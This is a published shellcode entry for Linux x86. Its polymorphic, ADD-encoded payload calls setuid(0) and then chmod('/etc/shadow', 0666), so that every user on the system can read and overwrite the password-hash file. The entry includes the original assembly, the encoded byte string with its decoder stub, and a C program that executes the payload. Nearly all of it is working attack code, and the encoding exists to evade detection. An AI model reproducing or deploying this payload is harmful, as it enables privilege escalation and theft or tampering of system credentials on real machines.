============================================================================================= linux/x86 Shellcode Polymorphic - setuid(0) + chmod("/etc/shadow", 0666) Shellcode 61 Bytes ============================================================================================= /* * Title: linux/x86 Shellcode Polymorphic - setuid(0) + chmod("/etc/shadow", 0666) Shellcode 61 Bytes * Encode : _ADD * Author: antrhacks * Platform: Linux X86 */ /* 0riginAl ASSembly 31 db xor %ebx,%ebx b0 17 mov $0x17,%al cd 80 int $0x80 31 c0 xor %eax,%eax 50 push %eax 68 61 64 6f 77 push $0x776f6461 68 63 2f 73 68 push $0x68732f63 68 2f 2f 65 74 push $0x74652f2f 89 e3 mov %esp,%ebx 66 b9 b6 01 mov $0x1b6,%cx b0 0f mov $0xf,%al cd 80 int $0x80 40 inc %eax cd 80 int $0x80 */ #include "stdio.h" char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x37\x80\x6c\x0e\xff\x13" "\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff" "\x44\xee\xc3\x2a\xe0\x93\x44\xd3\x63\x7b\x74\x77\x82\x8a\x7b\x76\x42\x86\x7b\x7b\x42\x42\x78\x87\x9c" "\xf6\x79\xcc\xc9\x14\xc3\x22\xe0\x93\x53\xe0\x93"; int main() { printf(" [*] Polymorphic Shellcode - length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }

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